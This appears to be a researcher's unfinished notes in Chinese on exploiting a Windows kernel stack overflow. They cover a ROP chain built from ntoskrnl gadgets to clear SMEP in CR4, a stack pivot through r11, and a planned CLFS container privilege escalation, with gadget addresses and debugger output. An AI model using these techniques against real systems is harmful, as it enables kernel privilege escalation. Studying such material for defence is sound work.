返回
顶部

reference:

约定,本文所有数字都是16进制,所有的index都是从0开始

KVA shadow

speculative execution side channels 漏洞

这个类型的漏洞跟处理器如何进行内核和用户模式的权限隔离有关

很多CPU都具有乱序执行的能力,即预测性地执行分支代码,如果后续发现这个分支的判断为false,则回滚相关指令

但是对于内存读取指令,此时这个不可读取的内存的内容可能已经被加载到缓存中,这就引起了漏洞的出现,攻击者可能会读取到自己本不应该读取到的内核敏感数据

现在需要假设处理器的内存访问隔离已经不起作用了,操作系统需要自己实现一套防御机制

这个办法就是在进入系统调用的时候只映射一部分的内核数据到内存中,包含敏感数据的内核内存页不会被映射(具体怎么实现的我也不知道)

这个东西就叫做kernel virtual address shadow,即KVA shadow

算了,他妈的太复杂了,不看了

利用代码分析

reference:

memmove导致栈溢出,从调试器中可以看出来,只需要把前48字节填了,然后再填8字节就可以把返回地址覆盖了,那这个地方我们就可以填写ROP链的地址了

image-20250613143539929

由于SMEP的存在,我们必须要把CR4的最高bit位置设置为0才可以返回到用户模式的内存中进行shellcode的执行,所以我们需要在ROP链中把cr4给修改了,控制SMEP启停的bit是第21bit

3210987654321098765432109876543210987654321098765432109876543210
1111111111111111111111111111111111111111111011111111111111111111
0xFFFFFFFFFFEFFFFF

使用IDA搜索ROP gadget

ntoskrnl.exe样本

修改cr4

514759

0: kd> u 514759 +nt
nt!KeWakeProcessor+0x59:
fffff802`3af23759 0f22e1          mov     cr4,rcx
fffff802`3af2375c c3              ret

现在我们需要控制rcx来间接控制cr4

操作rcx

使用ROPgadget搜索可以操作rcx的指令

python C:\Users\x\AppData\Local\Programs\Python\Python311\Scripts\ROPgadget --binary C:\users\x\downloads\ntoskrnl.exe  --only "pop rcx|ret"

image-20250613151123340

0: kd> u 3BF3B7+nt
nt!PpmInstallFeedbackCounters+0x16f:
fffff802`3adce3b7 59              pop     rcx
fffff802`3adce3b8 c3              ret

image-20250613151501970

我们只能更改smep bit位置,更改其他比特位很可能会直接BSOD

我们需要修改rsp到我们可以控制的位置

这里可以使用r11修改rsp的值

0x00000001403e8f86

流程

在用户模式分配地址为0x10000的内存

使用1406e6592 将r8修改为0x10000

使用140579df6将r11的值保存到[r8]

此时我们用掉了10字节,一共有38字节可以用

卧槽,没有可以操作r11的代码 我需要找找其他的模块

使用0x00000001403e8f86修改rsp的值为r11

修复原始rsp的值为原始的返回值,或者在跳过一级,直接返回上一级的caller

r11+10 就是原始rsp的值

我可以持续占用栈来直接返回到任意一级的caller

我有90字节的利用空间

在这90字节的空间里面我应该是可以提权的。利用clfs的container对象

我可以利用这一条指令 来将container对象的地址修改成指定的用户模式地址

0x000000014022925b : mov ah, 0x49 ; mov dword ptr [rcx], eax ; ret

使用这个指令将rcx修改为container context的18偏移的对应位置

0: kd> u 3BF3B7+nt
nt!PpmInstallFeedbackCounters+0x16f:
fffff802`3adce3b7 59              pop     rcx
fffff802`3adce3b8 c3              ret

使用这条指令控制eax的值

0x00000001405c3bd9 : mov dword ptr [rax], 0x28 ; mov eax, ecx ; ret